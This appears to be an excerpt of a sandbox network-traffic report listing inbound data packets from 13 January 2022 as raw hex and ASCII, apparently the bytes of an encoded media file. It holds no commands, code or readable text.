82 07 fd 14 5a 48 b1 6a c4 87 12 01 2d 2c a4 91 91 22 af 5f 2b 7e bd d8 11 e3 9f 36 51 a0 44 29 79 a2 ad ca 19 31 62 ca 
8d 79 d3 26 d3 bb 78 f3 ea dd cb b7 af df bf 4c 05 0e e4 73 50 eb d4 89 8c 28 62 9d 28 51 63 c6 b0 8e 3f 4a 0e 39 12 8a 
49 94 26 e1 ce dd ec b2 ee 0c c0 a0 43 8b 1e 4d ba b4 69 a0 4e e9 1c 8a aa 90 71 45 c6 0c 17 36 72 cc c8 51 6d 8b 62 cb
2a f2 83 d6 32 5b 94 2c 65 70 1e ee f9 b4 f1 e3 c8 93 2b 57 
Data Ascii: Lavc56.1.100,C?"!J$+>D"}4f0[%8s@JH*]t ZHj-,"_+~6QD)y1by&xLsP(b(Qc?J9I&CMiNqE6rQmb*2[,ep+W

2022-01-13 21:05:20 UTC 195 IN Data Raw: 4e 80 49 93 ad 55 14 6f 32 b4 22 1c 2b 25 d0 81 42 ed 99 24 cd 29 84 9a 13 46 4e 36 94 76 39 61 e9 f4 1a f9 
52 d9 71 a4 9f 1a dd 21 a6 5e 09 be b5 e1 54 a7 50 f5 98 e3 4e ba 42 17 96 71 a5 a1 1c 6a 7e a6 32 4c e8 1d a9 11 81 58 
03 1c e7 e8 16 29 dd e0 25 77 0c 69 f1 a2 ca 56 e4 d4 c1 39 50 11 c4 11 89 76 cf a0 66 f5 a2 5b e9 2a f4 da 37 ad 71 92 
75 66 36 cd 98 41 db 4a 58 e3 14 91 9a 09 61 e1 43 37 62 55 36 2e 86 ab 30 bd dc 91 c6 28 d6 bf d6 14 a4 ba 12 69 61 
37 fb 97 b7 aa e6 0e 85 e9 e4 12 63 38 4a 6b f2 d5 a5 5b e1 4a 64 81 c9 57 47 6d 94 ac 4e 38 fe 6b 53 05 ab 59 ce da 36 
6e 8f 23 cc 20 76 29 da 2f d1 b3 b1 8e 4d 8c 7d 3a 72 48 c9 b2 a9 b2 af ac 54 33 01 f8 d4 db 3a 97 2f 4f a9 43 1d a2 92 58 
44 50 c4 82 29 b5 2a 29 23 4b 15 c8 52 4f 94 5e 19 e3 6b 
Data Ascii: NIUo2"+%B$)FN6v9aRq!^TPNBqj~2LX)%wiV9Pvf[*7quf6AJXaC7bU6.0(ia7c8Jk[JdWGmN8kSY6n# v)/M}:r
HT3:/OCXDP)*)#KRO^k

2022-01-13 21:05:20 UTC 197 IN Data Raw: c3 06 17 34 90 8c 9b 08 87 a8 18 25 cf a8 84 cc 38 3c 4a c1 2f 9f c1 7a 53 b2 45 e2 13 14 d9 88 1c 0c 38 08 
e0 04 6e 28 07 11 a3 14 4f f4 b7 35 8e a0 55 b8 06 2b 7e 75 64 8d 67 2b 32 b3 7a 05 48 8c 33 03 8c 9f 68 25 9a a1 8c f9 
78 77 a8 18 17 c7 08 8a d0 08 18 d2 38 14 b4 54 fe 90 a4 18 72 08 29 93 77 28 76 7e a0 87 df 48 46 7d 38 4a d6 17 74 bf 
84 28 84 08 22 d3 76 02 4c b0 8b 4d e5 91 36 c9 89 2f 81 03 64 76 03 58 82 89 33 80 86 ff 98 4e e7 f1 8c 0a 62 1a 53 69 
8f 27 89 92 51 93 1e d7 56 93 2f a9 90 58 93 42 7f d4 1a f2 f5 90 e2 38 8b b2 e3 7b 45 b3 26 88 a7 81 e3 07 50 48 c6 8e 
e7 c1 91 2f d1 83 a1 58 17 f2 a8 7e 07 d8 95 c8 91 47 6b 58 95 05 75 8f 96 c8 92 fe 98 14 c1 a6 94 f0 16 42 aa d8 92 63 
79 93 06 a1 5b 3c c7 3e 0c 11 7c da c5 96 d6 a3 7d a3 d5 
Data Ascii: 4%8<J/zSE8n(O5U+~udg+2zH3h%xw8Tr)w(v~HF}8Jt("vLM6/dvX3NbSi'QV/XB8{E&PH/X~GkXuBcy[<>|}

2022-01-13 21:05:20 UTC 198 IN Data Raw: f4 c4 ce 83 11 21 ac 34 60 31 a7 1e 01 75 92 11 20 81 40 2f 25 ba 91 2a 2c 3e 26 3b 21 9b a2 ad 62 4b b6 40 
ec 12 36 60 a0 e2 29 ab 33 f1 b2 29 91 b3 52 d9 c6 22 24 5b df b9 bf 2e 71 b3 a9 3c 17 cb 05 1c 5e 58 29 1e 09 c6 10 dc 
b2 b4 9b 82 0e bb 4b bc 4a a9 ba fc be 7f 44 c2 c5 5a 26 87 dc ae 1e c1 3b 82 33 53 80 75 c7 99 1c b7 2c fc 98 75 21 5b 
02 6c 1c b9 92 2b 98 5c b6 9e 78 c6 2e b2 b6 d6 69 cd a4 3c b2 30 01 1c d9 d2 12 a7 fb 12 74 62 66 6d a1 5c ad 5c ce 75 
ac b7 8b da 8f 49 61 b4 18 8a c1 14 61 7f 80 5c ac 9b c7 b1 a9 e4 37 8b 4c 16 db e3 b8 56 0b a5 a2 a9 b3 72 f1 c6 5d cc 
92 37 01 84 cf 7c 1a ad ba 9a 5d a9 29 b0 9a 8c 77 f4 bc cc c8 b7 5b 39 ca ff e8 7a a8 8b 29 32 80 02 28 30 05 1a cd 04 
18 76 3a e3 cc 4c 31 80 ce 98 a2 5c 27 21 03 95 62 fe 02 
Data Ascii: !4`1u @/%*,>&;!bK@6`)3)R"$[.q<^X)KJDZ&;3Su,u![l+\x.i<0tbfm\\uIaa\7LVr]7|])w[9z)2(0v:L1\'!b

2022-01-13 21:05:20 UTC 199 IN Data Raw: 8a 93 13 4e 66 54 3c 71 71 c6 46 8e 1d 6f cc a8 d1 b1 63 c8 19 09 37 2e 4c 48 63 23 0e 8b 38 36 de 50 89 52 
e6 4c 9a 35 6d fe ab a1 f2 c6 c1 8e 07 33 9e bc c9 53 e4 d0 8e 34 62 cc 90 71 34 86 ca a5 25 83 a2 9c b1 74 69 48 19 51 
63 3e 35 f9 72 e3 cf 8d 34 50 0c f9 72 2c 9f be 7d fa c8 e6 db 97 2f 9f 3d 7b f5 ee cd 83 97 ce da ba 6f ac 34 59 d1 40 e1 
c7 0f 15 2a 5c bc 58 b1 02 05 93 17 4e 98 58 b4 38 c3 09 8d c5 2a 89 6a ad 11 e3 e3 63 8e 8e 29 f7 ec 19 94 0e 1d 3e 74 
fc f8 fe 01 24 48 b4 20 40 88 08 21 42 c4 08 50 23 40 ff 06 12 34 88 15 61 a3 7f 88 14 35 52 04 88 0d 14 8a 8a 33 26 e6 
4a 74 f2 e5 ac 34 3f aa 74 39 03 4a 66 d9 cd 9d f3 0c 59 43 a8 62 a1 27 68 60 a5 4c 52 64 d5 8d 55 95 46 7d 7e d0 68 d4 
19 46 c7 1f 7d 6e b9 23 f0 16 55 c2 da 33 1b df ec be 
Data Ascii: NfT<qqFoc7.LHc#86PRL5m3S4bq4%tiHQc>5r4Pr,}/={o4Y@*\XNX8*jc)>t$H @!BP#@4a5R3&Jt4?t9JfYCb'
h`LRdUF}~hF}n#U3

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 201 IN Data Raw: 14 b4 e0 05 32 c8 01 40 5d d8 41 eb 98 40 06 49 49 28 86 14 f8 99 d1 3c 90 35 91 3a cd 6a 74 59 51 b2 d5 26 
83 c0 ec 60 30 e3 68 cc 62 7e 34 a4 6f 3d a1 74 36 96 18 9e 64 04 6f 37 79 9d 4a 45 66 fe d2 f0 58 85 90 d5 ab a6 4d 22 
d6 4d 8e 98 20 04 0f 00 83 35 20 b9 53 c6 9e c9 71 3f 65 4b 64 73 b6 8e 76 74 a3 19 c6 e0 04 19 c2 b0 84 25 74 01 0b 41 
18 42 0f 7a 60 03 1b c8 c0 04 28 30 e8 55 b3 8a a1 58 e6 6b 6b 10 65 c4 18 11 81 22 81 45 ca 82 b2 31 58 23 10 36 11 
37 f6 86 a3 72 34 e0 5b 43 ca 34 66 8a ea a4 2a b3 0a 48 b8 53 03 ee 85 c7 4a 7e 15 a4 35 e9 75 94 c9 fc 24 23 32 08 41 
04 12 ab 96 98 31 b6 b1 3c 2d d3 cc 7a ea 53 b6 c8 c3 1c e6 40 86 2e ca b0 de 32 80 01 0b 43 08 6d 0e 4c 30 5f 3e 19 94 
28 d4 f4 a8 ea 52 b8 a8 59 82 d1 ab fe 8a a8 22 08 11 b6 33 
Data Ascii: 2@]A@II(<5:jtYQ&`0hb~4o=t6do7yJEfXM"M 5 Sq?eKdsvt%tABz`(0UXkke"E1X#67r4[C4f*HSJ~5u$#2A1<-
zS@.2CmL0_>(RY"3

2022-01-13 21:05:20 UTC 202 IN Data Raw: 3b 60 5a 30 0f 02 15 ca 20 95 2e 5a 46 b9 d1 3e 0a cb 08 26 49 c6 42 e3 39 6a ea 95 97 72 0c 81 0a b1 00 32 
99 9c 18 42 89 a9 2b 8e 28 01 0f 70 34 25 0c 3d 78 54 47 20 6a 16 f9 f8 3f 4c 54 9f 01 64 9f 76 00 07 6a 58 87 6b 78 86 
61 90 93 2b c8 80 09 b0 00 b3 3b bb 58 5c 2a 2c f3 0c d7 12 41 41 f8 aa bc cb 9d 63 e3 3b 4d 39 30 62 dc 0d eb 53 9b 3a 
8c b6 c3 71 2b 1b dc c8 61 59 26 c5 bb 88 68 c4 2b bd f9 30 18 d2 b5 5e a9 9e 5c 81 29 23 3c 0f 92 d0 46 a7 28 c2 70 1c 
c7 77 33 47 17 b3 49 48 9b a4 f4 69 47 19 1b 8b 84 88 24 34 11 40 b6 d0 8f 7a 08 b8 74 20 b5 49 f8 02 2b 08 82 0a 48 81 
15 30 3b 12 88 38 07 29 3e d0 d8 1a 90 1b 23 87 14 46 e8 6b 08 d2 70 83 89 a8 48 09 c1 43 fe 69 9b 36 b2 2c cb e6 18 
29 9e a0 2b c5 93 c6 26 f1 c1 2c d1 12 c3 a1 9e e0 13 ba 25 
Data Ascii: ;`Z0 .ZF>&IB9jr2B+(p4%=xTG j?LTdvjXkxa+;X\*,AAc;M90bS:q+aY&h+0^\)#<F(pw3GIHiG$4@zt I+H0;
8)>#FkpHCi6,)+&,%

2022-01-13 21:05:20 UTC 203 IN Data Raw: dd e0 e9 65 04 47 f0 60 ca 45 39 db b1 dc ae c4 08 5b c5 b9 5c a5 36 35 7e 8a fa 8c da 66 65 bc b5 e4 51 a5 
e0 46 17 9e 61 63 e5 e5 c8 bb e3 f7 85 12 b1 e5 e1 bd a4 dd 41 ee 2e 1c 23 e0 93 fd 58 4e 44 e4 05 3d 88 e0 35 e6 03 26 
d9 be b5 87 72 78 e2 59 e4 4d 5c 8c 60 2e 03 b9 db c1 1d 2d 86 0d 9e 7d 5c 9f 0d e3 2f 1e 65 a2 05 a6 39 8d 51 80 7d 9b 
34 56 63 16 16 3a 1d ed 23 b1 c4 15 90 30 8f 41 fe fd d1 e6 c8 63 65 5d 5d 2b f1 9b 92 70 c4 97 2c 8f 12 e8 00 49 04 64 f9
80 c2 68 9e 5b 01 06 e0 4d 7c 66 67 66 50 85 0e e2 a7 b3 24 79 b0 e6 06 a6 e4 ef f8 40 ac 39 3e e4 f3 17 5c 42 84 c7 d5 
d9 2d 0e e5 b1 89 5c 53 b6 1d 60 74 88 cb 75 25 f7 6c 18 14 4e 61 58 5e cb bc a4 b9 9f c0 cf 5b f1 33 89 2d 49 6c 62 58 
85 80 3c 7c 3e 89 1d 0e b1 1e a6 5d 2a 05 e2 20 56 e6 
Data Ascii: eG`E9[\65~feQFacA.#XND=5&rxYM\`.-}\/e9Q}4Vc:#0Ace]]+p,Idh[M|fgfP$y@9>\B-\S`tu%lNaX^[3-IlbX<|>]* V

2022-01-13 21:05:20 UTC 205 IN Data Raw: ea 7b 88 f3 a7 be 7d 41 6b e6 b3 97 ef 28 52 9c 30 5d 0a a5 d9 34 e7 be a6 4f 81 d6 94 47 4d 53 15 13 32 6a 
14 94 fe 43 87 0f d8 43 7e 04 91 15 54 a8 10 20 42 82 08 29 02 d4 88 10 5c b8 8c 26 32 9a fb 4f 11 23 45 8e f2 e2 55 e4 
d7 af a3 be 8a fe b0 81 e2 64 86 93 13 27 12 9f 98 d1 b8 e0 c0 1b 02 25 43 1e 18 51 e0 c7 87 34 28 6f de 3c 43 24 8d cc 
a2 47 93 2e 0d 71 06 d7 1a 1d 0f 9b 74 1c da 74 c5 ca b2 35 7e e6 8a f1 73 0c d8 14 11 0e 4c 68 fb 73 49 cc bb 0f 76 7c 
28 b9 e3 63 c7 21 26 80 e9 66 14 e7 cd 97 54 73 42 9c 4e 35 7a d0 a8 2f ed d5 4b 87 d4 1e f8 7b f6 ee d1 a3 a7 8e 9f f8 
7c da 67 0a 6d cf de 3d 55 f7 f9 ea 95 cb 94 55 46 42 91 02 bf ca 01 eb 67 2c 59 68 9d 05 08 20 88 08 c2 48 5c 09 d2 65 
17 5f 0d 02 e6 57 5d 7c 29 12 48 1b 86 25 76 98 62 b2 41 
Data Ascii: {}Ak(R0]4OGMS2jCC~T B)\&2O#EUd'%CQ4(o<C$G.qtt5~sLhsIv|(c!&fTsBN5z/K{|gm=UUFBg,Yh H\e_W]|
)H%vbA

2022-01-13 21:05:20 UTC 206 IN Data Raw: 78 56 18 e8 06 5c 08 c3 84 c2 d0 86 dd 38 97 7a de 94 13 a7 ec 64 95 f6 69 c1 56 44 c2 10 3a dc 2b 4f ff 29 4b 
5a 06 e4 96 c5 16 8a 6e 10 69 04 83 7e 59 52 f5 09 d3 42 8a c1 10 20 67 34 53 9a 2a 53 34 9d 21 d1 a7 fa f7 46 9e 76 ec 
55 3a 5d e0 ff e0 78 39 6e ca c0 46 3c 5a a6 69 32 07 33 98 3e 75 57 e6 ac e3 49 24 48 c1 96 f4 4c 76 16 94 e7 06 69 22 
93 af 62 70 3e ef 30 06 17 04 b0 80 14 52 80 05 53 58 81 0c 2b 90 01 1b 56 82 0c d5 5d 42 f1 e8 4a c3 25 b0 a2 a1 a7 04 
a2 74 e6 19 27 73 cc c9 b4 04 79 25 be fc 60 88 43 9c 85 2c b5 5c 0b c0 9e a8 20 5d 92 f4 7c 12 0a 26 de fc 92 c5 96 4e 
8a 72 fe 1a 32 55 fc 3a 9b 19 fa 09 c4 53 9e 21 ed e3 64 d4 46 d7 58 2e 80 82 f5 d1 52 67 85 47 7a ad 0c 82 23 e3 23 cb 
1c 28 1c 1a 9c ce aa 86 bc 20 74 12 49 5c 38 d1 b3 1c 
Data Ascii: xV\8zdiVD:+O)KZni~YRB g4S*S4!FvU:]x9nF<Zi23>uWI$HLvi"bp>0RSX+V]BJ%t'sy%`C,\ ]|&Nr2U:S!dF
X.RgGz##( tI\8

2022-01-13 21:05:20 UTC 207 IN Data Raw: 82 3b 9c 23 ec c0 4e 4c d4 24 58 dd 83 3b 9c 98 f2 e1 21 2b 80 03 3a ea 15 5f 55 8f 23 a2 40 88 58 04 61 7d 
c5 16 70 5f f7 0d 0c 16 85 5f e0 c9 45 27 1a 4c 5f a0 1f 40 fa 4d 85 f0 57 b1 1d 24 41 5c ca c9 c1 d6 42 e2 8f 69 01 a3 35 
c5 22 fe 5d ce 84 21 55 1f d9 91 9d dd 5c 6b 5c 98 fe d4 cc 2a 06 63 d0 0d dd 02 ee fe 04 32 0e 4d ec cc 87 55 80 41 06 
7c 80 09 94 40 60 5e 60 13 ec 58 36 1e e3 51 c8 c4 77 dc 43 3d 48 43 f1 08 00 0d cd 9b 37 a8 1d 2a b5 dd 4e 48 54 0c ca 
c8 41 24 99 da e8 dd 0d c2 05 2e 81 66 23 14 c2 ad 15 c2 13 e9 63 ae 01 21 b0 ed 05 fa e9 05 a3 24 c2 b0 5d 16 b0 c8 c6
66 c5 1f 58 86 a5 e3 44 ce 2b 4a 61 e6 0d 58 00 d1 dd dc 51 9b 53 d9 11 45 d6 19 ff f1 62 47 70 a4 03 9d 9e 72 a4 5e 37 
a4 1b 1a 92 58 32 46 09 50 80 55 3c 18 83 17 50 40 0b 
Data Ascii: ;#NL$X;!+:_U#@Xa}p__E'L_@MW$A\Bi5"]!U\k\*c2MUA|@`^`X6QwC=HC7*NHTA$.f#c!$]fXD+JaXQSEbGpr^
7X2FPU<P@

2022-01-13 21:05:20 UTC 209 IN Data Raw: f6 a2 2f 4b 2b 41 a4 04 05 35 89 fe ec 54 af 1e 43 87 ba 91 03 f7 3e 40 8d 7a 80 0c e8 c0 0b b0 80 17 d8 ac 51 
ac 47 0e d3 6b 08 aa c3 33 4e c0 1d 0e f1 37 88 db 21 bd 9d 26 e0 eb 12 cf c0 2b 7d 05 f7 2d 11 5a 48 f1 68 32 82 20 58 
b1 63 41 25 ad e6 4d 7e 51 d6 5f d4 ae 56 3e 06 18 53 53 af 82 a1 05 bf b2 68 94 71 45 98 19 55 d5 b2 86 30 d5 dc 6a 5b 
b0 22 ef e7 1c 89 13 94 13 e9 d4 51 11 35 27 24 18 f3 1d bb e8 44 50 05 78 98 03 19 68 40 05 fc 31 7e c8 40 0b b0 c0 f8 
96 af 93 be 07 90 dd 43 3a 4c 42 06 54 40 13 28 c1 ed 55 80 26 7c 03 22 26 4b d1 d6 67 bc 54 b4 42 b4 81 1b a8 b3 de f5 
c9 58 a0 05 a1 20 88 81 cc 05 ae 8d 32 ad 26 c2 c2 6c f1 01 0f 13 86 18 e4 c9 38 f0 03 bb b2 40 37 1b 8b fc 6e 6f 72 9b 
36 99 56 e7 18 90 52 bd 8c 00 36 d0 2f 3f 04 59 17 09 
Data Ascii: /K+A5TC>@zQGk3N7!&+}-ZHh2 XcA%M~Q_V>SShqEU0j["Q5'$DPxh@1~@C:LBT@(U&|"&KgTBX 2&
l8@7nor6VR6/?Y

2022-01-13 21:05:20 UTC 210 IN Data Raw: 0d 14 27 67 4f 9c 70 72 02 67 5b b7 6e 6b bc 95 3b a3 ea 3f 9c 75 f1 e6 d5 bb 97 6f 5f bf 7f f7 de 8c 4b d5 2d 
e1 13 37 01 57 9d bb 78 c6 4d 19 71 77 ce 90 91 93 6e 62 bd 94 75 c6 9d 4c 99 70 db bd 9c ed 52 bd 51 79 06 db b6 21 
26 80 b1 e6 52 25 4b 7d ff 5c bf 8e ed 7a 6f eb 94 b7 51 e6 b3 57 8f 1d b3 30 10 0c 22 94 30 42 02 8b 2a 58 2a 7d ea 26 
ee 5b bb 76 df 80 85 e1 88 a1 23 06 0a 19 96 90 d1 d6 2e de 49 d6 b3 59 c2 cc 57 8f 5a a6 2a 36 e3 b6 95 21 a7 0d 1f 3e 
7e 88 12 35 ca 08 10 fd 46 80 14 11 7a 1a 95 d0 fe d4 aa fe 95 62 c4 91 44 1c e9 6a 2b a5 b8 6a e4 8f 35 cc 4a 4b ad d2 
20 34 4d ae d1 66 48 6f b1 ba ee b2 4c c3 0d 39 04 2c ae d1 a8 72 c2 33 bb 46 4c 8c b1 c5 78 ba 89 27 cc 68 e8 b0 2a 9d 
78 9a 6c b3 cd 3a 13 71 2f 1a 43 b3 ab 86 ce da 32 21 04 
Data Ascii: 'gOprg[nk;?uo_K-7WxMqwnbuLpRQy!&R%K}\zoQW0"0B*X*}&[v#.IYWZ*6!>~5FzbDj+j5JK 4MfHoL9,r3FLx
'h*xl:q/C2!

2022-01-13 21:05:20 UTC 214 IN Data Raw: a1 6e 2c b9 3b 4b 11 5a 7b 29 04 ad 08 25 25 4e e2 48 e5 1d 61 0a 16 fe dd f9 27 dd b2 84 c5 17 74 56 97 4d 
e1 f1 f5 8c 4a c0 5e 99 4e ff f9 1f 48 38 d5 26 c0 86 71 99 c1 08 14 84 96 e5 30 95 b0 d6 84 2f ab 05 b4 29 7b 76 98 85 99 
68 94 84 22 d2 0a 1e aa 81 19 9e e1 19 88 41 15 3a c1 0b 88 00 03 16 60 01 40 e0 03 5a 80 77 6e 22 51 77 44 0e 7e cd 
69 a3 4f 2b a9 d4 72 b3 d8 1c 33 2f 51 38 d4 fb a2 cd 2c e7 27 06 da 91 42 3e 18 f7 7e fa 63 3d 2e 9a 74 05 95 f7 71 b3 72
c2 73 da d7 95 71 44 76 ab 22 20 6f 65 7e a5 0b 67 f0 d6 a0 7d 06 2a bf 03 11 69 6e 6c da 64 58 3c 08 68 fd ae 87 87 99 
1f 82 d9 cc ac 6a 37 e0 a1 1c 94 e1 18 7c 41 0c c0 20 12 24 41 12 f4 20 09 88 c0 07 40 c0 07 3c e0 6e 5b c0 04 50 c0 26 
38 ae 45 1c 97 e0 9a d5 32 21 af 29 62 9a 6a 47 d2 5a 
Data Ascii: n,;KZ{)%%NHa'tVMJ^NH8&q0/){vh"A:`@Zwn"QwD~iO+r3/Q8,'B>~c=.tqrsqDv" oe~g}*inldX<hj7|A $A 
@<n[P&8E2!)bjGZ

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 218 IN Data Raw: 75 b0 9b 0b 52 99 8c a2 96 8c a0 8d c1 59 10 e3 e3 96 1b 96 71 c8 09 62 6c c5 54 a4 78 8a 53 99 9f fa d9 86 
27 66 5d f9 d3 a0 2b f3 68 0e 11 95 34 32 7d de 55 40 18 b8 1b b5 d1 a2 0e fa 56 c3 87 4f 65 89 9e 04 23 08 7a 21 29 80 
60 21 5f 75 37 c2 89 7b 23 22 91 70 99 85 e6 08 84 78 b9 88 28 da 5d 4f b9 9a 02 e9 98 75 b7 92 1c f1 95 34 62 8f 9a 93 
a0 ad e5 95 39 aa a3 0e 06 a1 07 82 55 fe e7 59 17 7a 41 21 04 43 21 7e 61 a4 47 da 96 1d 72 85 7f e3 89 ea 43 31 bb 
87 94 24 3a 8c 88 f3 a0 52 4a 23 ac 18 68 c7 78 9a ce e8 9a 5e 04 a3 83 7a a3 7d e8 2b 04 b4 98 7c 27 a6 63 1a 45 3c ea 
7f bb d9 7a 94 69 96 92 01 08 98 f9 49 40 89 7b f0 29 8e 08 35 9f 2a 32 16 85 a3 91 d5 a3 40 7e 3a 23 aa 19 7c ef 28 9e 
ca 67 63 be 32 9b 36 42 5e e0 d5 11 71 88 33 fd 61 9d 90 0a 
Data Ascii: uRYqblTxS'f]+h42}U@VOe#z!)`!_u7{#"px(]Ou4b9UYzA!C!~aGrC1$:RJ#hx^z}+|'cE<ziI@{)5*2@~:#|(gc26B^q3a

2022-01-13 21:05:20 UTC 219 IN Data Raw: 4c 72 a8 dc 4b ed db 92 5d 7b ca a8 5c 32 1b dc ba c7 72 33 bc b1 a5 c3 91 bf d3 fc ba 97 a4 75 91 72 17 90 
32 c0 b7 2b 44 72 9a c9 1f 76 a7 17 f9 80 6d 35 c3 ca 1c 23 bb e4 1f b4 84 c3 82 1c a9 e6 4c a8 f3 bb ca 56 8a 63 43 bc 
aa b0 ec 67 8e e8 2f ac c7 28 b4 eb 9b 44 3a 6c 51 c8 a1 9c 52 85 f0 f9 c2 4c d4 44 9c f1 8f fa a7 c5 cc bb fe 2f 16 31 33 
5c eb 98 25 eb ce fa db a7 87 fc cc 57 e9 ca ab b1 c8 15 88 28 d2 28 bb 8d 4b 21 99 42 c9 6f 36 56 09 7c 50 20 7a a7 76 
09 75 0f ac af 2d 3d cc 84 dc a5 87 ea 62 a6 5c c4 ca fc 8c 24 18 23 84 15 bd 1c bc d1 bc 9a 5b 59 57 c2 10 17 21 88 50 
08 b8 ac c2 c6 d5 c2 04 fd b6 07 3d bf 59 1c ca a8 4a 2b 7d c8 11 43 f2 c5 13 7d c6 7d 56 4c f6 4b d5 38 3d cd 21 3c 6d 
1d 1d 17 ff bb 75 18 42 37 0e e9 c4 79 03 c5 62 d7 c2 
Data Ascii: LrK]{\2r3ur2+Drvm5#LVcCg/(D:lQRLD/13\%W((K!Bo6V|P zvu-=b\$#[YW!P=YJ+}C}}VLK8=!<muB7yb

2022-01-13 21:05:20 UTC 223 IN Data Raw: 82 c4 08 17 91 8a 8d 40 9d 82 69 ae 9f bc bd a3 8a 9c 98 83 14 b4 84 98 4b 2c 2d f7 79 a6 d9 94 36 40 fc 28 
41 e8 14 ce 69 91 76 cc 08 5e 44 4d b7 78 ab 64 f2 16 55 14 97 02 7b 2c 02 eb 4c c1 70 1e eb 59 89 1a 90 81 19 a0 ce e9 
ac ce c4 90 90 05 a4 81 18 68 49 70 34 47 80 14 08 af cb 3f ff 38 48 8c 38 88 a9 48 4d e4 11 a7 86 1c b0 6e 94 b8 d8 84 
99 16 fc c6 37 e9 4e c4 40 89 fb c4 4f 57 1c 0a ee 9c 01 1b c0 47 a5 ac 8c 3e b8 18 3a 53 8e 76 03 c9 51 8c 0a f5 54 90 
c8 cc c2 3a 1c 23 a4 5a 89 ee 5c c0 f9 a4 4f 37 41 0c fb 9c 81 ee 0c 23 ea dc 4f a1 88 81 0d c5 47 f0 0c c4 a6 94 c6 16 31 
95 8c 38 4d 05 35 1a 89 9a c3 94 03 a3 5e 61 1a 10 d5 d0 05 74 fe 9e f9 8c 98 4b 8c 01 ea c4 50 72 89 cf 7f e8 4f 19 a8 
9e 0a 1d 52 22 b5 cd a3 58 42 0c 9c 41 42 54 28 8e 64 
Data Ascii: @iK,-y6@(Aiv^DMxdU{,LpYhIp4G?8H8HMn7N@OWG>:SvQT:#Z\O7A#OG18M5^atKPrOR"XBABT(d

2022-01-13 21:05:20 UTC 228 IN Data Raw: 91 44 84 07 e2 97 42 99 d4 22 30 47 3f 3a 95 08 1c 09 36 2f f2 15 63 b1 16 6e e0 58 04 e8 50 ab 75 03 80 b8 
93 af d3 27 07 59 8a ed e8 8c 59 c9 13 46 a5 85 e9 a8 93 2b 39 42 43 47 07 81 a0 75 7e c4 75 d5 d8 91 8d f1 91 90 f7 8f 
dd 58 92 a7 54 87 c2 15 98 5e 39 39 76 19 91 24 18 33 59 78 95 7c 39 8f 48 81 85 f2 18 53 9c 47 3b 64 84 08 0b 81 96 d1 
d4 91 17 f7 5c f6 03 73 ea 52 84 86 84 38 72 79 4f 4f c9 8a 15 93 99 ea e8 13 6a 33 13 c2 38 13 c5 56 93 a0 19 14 33 e9 
8c a4 39 74 e5 96 51 d4 a3 61 0f 31 6d 8a e5 3b 8e d2 08 7d 30 16 98 98 94 1d 64 87 b7 f9 8e 98 fe 39 82 3e a1 1a 7d e8 
99 9b d9 97 3b b1 8a 16 79 4c a5 89 51 03 95 9a 1c 93 22 0d c1 8f 9d 15 08 36 92 3f 6f 59 92 58 c4 25 6a 16 8e 5b 74 99 
e7 c3 34 54 e9 12 bf 59 88 10 a9 9d 5f b8 29 e5 e9 4a 29 
Data Ascii: DB"0G?:6/cnXPu'YYF+9BCGu~uXT^99v$3Yx|9HSG;d\sR8ryOOj38V39tQa1m;}0d9>};yLQ"6?oYX%j[t4TY_)J)

2022-01-13 21:05:20 UTC 232 IN Data Raw: d3 c9 b1 74 f2 09 61 2c a9 c3 b7 dc 49 2e 93 07 8b 57 a4 62 4b b1 ad 42 8a 9b 50 85 29 88 67 a8 48 b5 41 8c 
63 cc 83 fe dd ca 60 b8 36 c0 01 35 ed 75 5c a9 40 44 2b 5f f9 17 c0 e4 92 ce 84 f9 45 30 7d 51 c4 5c ce a9 3f ec 22 0e ad
91 7a 8c 64 30 e4 b8 8a 60 c6 80 4e 40 6f 96 4b 64 96 c3 f6 4b 73 fd 0c 2c 7e 30 a2 90 f8 3a a4 aa 37 12 55 71 09 da aa 
7c 75 b9 46 6f 6d 51 7d 70 66 ae 10 f8 ec b1 05 46 70 3d e6 71 8f 79 f0 a3 c1 0c 56 c7 47 d1 31 68 74 94 a3 1a 87 56 46 
32 5e e8 8b d2 ea d0 17 1d fe 70 a4 81 01 69 10 c3 22 88 ac 18 22 2b b6 84 09 32 74 7a 0b 94 c8 42 1d e0 20 85 28 80 
ab b7 44 b5 41 0e 52 0d dc 74 a1 27 c6 36 b6 c1 be a6 a2 cd 2c 76 08 0f 74 c0 83 1f fe f0 be bf 44 d7 9d 46 ce cb 3a f7 67 
18 47 11 82 bb 77 bc d8 1a a8 5c c0 13 6c 68 43 5a 86 
Data Ascii: ta,I.WbKBP)gHAc`65u\@D+_E0}Q\?"zd0`N@oKdKs,~0:7Uq|uFomQ}pfFp=qyVG1htVF2^pi""+2tzB (DARt'
6,vtDF:gGw\lhCZ

2022-01-13 21:05:20 UTC 236 IN Data Raw: 6a 4e cc c0 44 75 30 5a 7a 29 46 b5 55 ca 90 a4 49 e2 f8 e3 45 3a be f4 9b 75 d1 1d d7 a3 4c 19 cd 40 9c 92 
c6 c9 04 9c 50 b1 16 35 d2 76 22 d1 40 d4 51 4c 9a 20 c2 77 50 46 55 25 5b 6a 5e f9 5e 57 68 0e db 65 98 c3 9a 27 56 7a
58 ee a7 1f 5c ff 31 03 0c 19 58 54 c1 02 0b 29 a4 80 42 0b 07 c9 c1 a0 83 10 5a 66 18 b9 80 2e 96 a1 86 88 74 c8 61 22 
7b 7c 16 da a2 8a 96 38 10 1a aa ad a8 10 a6 f9 ea 4b 11 4a 31 d0 d8 e9 6e 9f a6 1a 6a fe 8f 39 15 e7 e3 c0 a0 9e 74 d3 
8d 08 8b 64 14 73 48 2e 79 02 74 7e e5 9a d4 52 bd 46 19 4f 95 1d 2f ab ac 97 5e 25 0b b2 c8 20 a7 65 65 9a c1 06 3b 0f 
3a cc 70 52 89 15 d7 a6 b0 02 09 28 98 90 54 9e 0f 0e 56 58 b9 7e 26 a6 61 66 89 10 82 21 63 9b 19 8a e8 bb f0 2a 3d e2 
1a 27 36 8d 47 6a 91 0e b5 2f d5 55 bf a4 d2 a6 ad de d0 
Data Ascii: jNDu0Zz)FUIE:uL@P5v"@QL wPFU%[j^^Whe'VzX\1XT)BZf.ta"{|8KJ1nj9tdsH.yt~RFO/^% ee;:pR(TVX~&
af!c*='6Gj/U

2022-01-13 21:05:20 UTC 240 IN Data Raw: 8e 05 dc 35 8e 31 c0 42 26 68 41 49 fb 35 19 c4 31 3d 74 57 7d 7c 45 fd ee c3 7f d0 1d 07 83 ed a9 b6 00 93 
